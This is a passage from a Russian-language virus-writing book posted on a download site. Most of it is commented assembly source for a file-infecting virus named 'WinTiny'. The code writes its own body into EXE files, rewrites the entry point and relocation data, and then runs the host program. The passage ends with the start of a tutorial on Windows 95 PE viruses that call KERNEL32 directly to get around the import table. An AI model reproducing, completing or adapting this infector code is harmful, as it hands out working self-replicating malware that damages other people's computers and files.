Скачать книгу

Если по какой−то причине нужно произвести изменение

      ;в сегменте кода, создается алиасный дескриптор данных

      ;(дескриптор, содержащий то же смещение и длину,

      ;что и сегмент кода), и дальнейшая работа ведется с ним.

      ;В данном случае просто воспользуемся выделенным блоком памяти

      push ds

      pop es

      push cs

      pop ds

      xor si,si

      mov di,OFFSET temp

      mov cx,OFFSET vir_end

      cld

      rep movsb

      push es

      pop ds

      ;Инициализируем адрес точки входа

      mov si,OFFSET temp

      mov WORD PTR [si+relocIP],0

      mov WORD PTR [si+relocCS],0FFFFh

      ;Переместим указатель чтения/записи на новую точку входа

      mov ax,[my_seg_entry]

      mov cx,[log_sec_len]

      mul cx

      mov cx,dx

      mov dx,ax

      mov ax,4200h

      int 21h

      ;Запишем тело вируса в файл

      mov dx,OFFSET temp

      mov cx,OFFSET vir_end

      mov ah,40h

      int 21h

      ;Инициализируем поля перемещаемого элемента

      mov WORD PTR [reloc_data],1

      mov BYTE PTR [reloc_data+2],3

      mov BYTE PTR [reloc_data+3],4

      mov WORD PTR [reloc_data+4],OFFSET relocIP

      ;Запишем перемещаемый элемент

      mov dx,OFFSET reloc_data

      mov cx,10

      mov ah,40h

      int 21h

      ;Закроем файл

      mov ah,3Eh

      int 21h

      ;Освободим выделенный блок памяти

      call free

      ;Запустим программу−носитель

      jmp exit

      ;Процедура, освобождающая выделенный блок памяти

      free PROC NEAR

      mov ax,0502h

      mov si,[mem_hnd]

      mov di,[mem_hnd+2]

      int 31h

      ret

      free ENDP

      ;Маска для поиска файлов

      wild_exe DB ”*.EXE”,0

      ;Имя вируса

      DB ”WinTiny”

      ;Идентификатор, указывающий на конец инициализированных данных

      vir_end:

      ;Индекс выделенного блока памяти

      mem_hnd DW ?

      DW ?

      ;Адрес текущей DTA

      DTA DW ?

      DW ?

      ;Место для хранения старого заголовка

      old_hdr DB 40h dup (?)

      ;Место для хранения нового заголовка

      new_hdr DB 40h dup (?)

      ;Длина логического номера сектора

      log_sec_len DW ?

      ;Новый элемент в таблице сегментов

      my_seg_entry DW ?

      DW ?

      DW ?

      DW ?

      ;Перемещаемый элемент

      reloc_data DW ?

      DB ?

      DB ?

      DW ?

      ;Значение оригинальной точки входа

      host_cs DW ?

      host_ip DW ?

      ;Область памяти для использования

      temp DB ?

      END

      Вирусы под Windows 95

      Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возможно, он станет доминирующим форматом EXE. Этот формат значительно отличается от NE-executable, используемого в Windows 3.11.

      Вызов Windows 95 API

      Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 95, благодаря предусмотрительности фирмы-производителя Microsoft, модифицировать таблицу импортируемых имен невозможно.

      Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.

      Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов

Скачать книгу